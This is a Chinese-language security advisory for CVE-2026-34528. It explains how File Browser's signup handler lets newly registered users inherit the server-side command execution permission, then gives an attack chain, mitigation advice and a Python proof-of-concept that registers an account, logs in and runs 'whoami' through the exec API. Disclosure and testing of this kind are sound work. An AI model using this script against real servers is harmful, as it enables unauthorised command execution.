IPBUF安全漏洞报告
English
CVE-2026-34528 CVSS 8.1 高危

CVE-2026-34528 File Browser远程代码执行漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-34528
漏洞类型
远程代码执行
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
File Browser

相关标签

RCEFile Browser权限绕过CVE-2026-34528逻辑漏洞

漏洞概述

File Browser在2.62.2之前的版本中存在权限管理逻辑漏洞。由于`signupHandler`在处理用户注册时仅移除了管理员权限,未移除默认用户模板中的“Execute”权限和“Commands”列表,导致在特定配置下,任何注册用户均可继承服务器端命令执行权限,从而在未授权的情况下执行任意系统命令。

技术细节

该漏洞的核心在于File Browser后端处理用户注册时的权限校验逻辑不完善。具体而言,`signupHandler`函数在创建新用户时,首先调用了`d.settings.Defaults.Apply(user)`,这会将管理员预设的默认用户配置——包括管理员权限、命令执行权限以及允许执行的命令列表——全部赋予给新注册的用户。随后,代码仅执行了剥离Admin权限的操作,却遗漏了对Execute权限(`AllowExec`)和Commands列表的清理。利用条件较为严格但危害极大:当管理员开启了“允许注册”功能,并且在默认用户设置中启用了服务器端执行(`Execute=true`)并配置了具体命令时,攻击者无需经过管理员审批,只需在登录页面注册一个普通账户,即可自动获得高危的Shell执行权限。一旦权限获取,攻击者可以通过API接口向服务器发送请求,调用预设的系统命令,从而完全控制服务器。

攻击链分析

STEP 1
侦察
攻击者发现目标运行File Browser,且管理员开启了公开注册功能。
STEP 2
注册账户
攻击者利用注册接口创建一个新用户。由于漏洞存在,系统将默认用户模板中的命令执行权限赋予了该新用户。
STEP 3
权限继承
后端逻辑仅剥离了管理员权限,保留了高危的Execute权限和Commands配置。
STEP 4
执行命令
攻击者使用新获取的凭据登录,并通过API或Web界面发送请求,在服务器端执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://localhost:8080" signup_url = f"{target_host}/api/public/signup" login_url = f"{target_host}/api/login" exec_url = f"{target_host}/api/resources/exec" # Attacker credentials username = "attacker" password = "secure_password_123" # Step 1: Register a new user # The vulnerability triggers here: the new user inherits 'Execute' permission signup_payload = { "username": username, "password": password } try: response = requests.post(signup_url, json=signup_payload) if response.status_code == 200: print("[+] User registered successfully.") else: print("[-] Registration failed.") exit() except Exception as e: print(f"[-] Error during registration: {e}") exit() # Step 2: Login to get authentication token login_payload = { "username": username, "password": password } try: response = requests.post(login_url, json=login_payload) if response.status_code == 200: token = response.json().get('data') print(f"[+] Logged in. Token: {token}") else: print("[-] Login failed.") exit() except Exception as e: print(f"[-] Error during login: {e}") exit() # Step 3: Execute arbitrary command # Using the inherited permission to run commands (e.g., 'id' or 'whoami') headers = { "X-Auth": token, "Content-Type": "application/json" } # Command to execute (must be in the allowed commands list or via shell bypass if configured) command_payload = { "command": "whoami", "async": False } try: response = requests.post(exec_url, json=command_payload, headers=headers) if response.status_code == 200: print("[+] Command executed successfully.") print("[+] Output:", response.text) else: print(f"[-] Command execution failed. Status: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error during command execution: {e}")

影响范围

File Browser < 2.62.2

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用用户公开注册功能,或者检查默认用户设置,确保未启用服务器端命令执行选项(Execute=false),以阻断利用路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表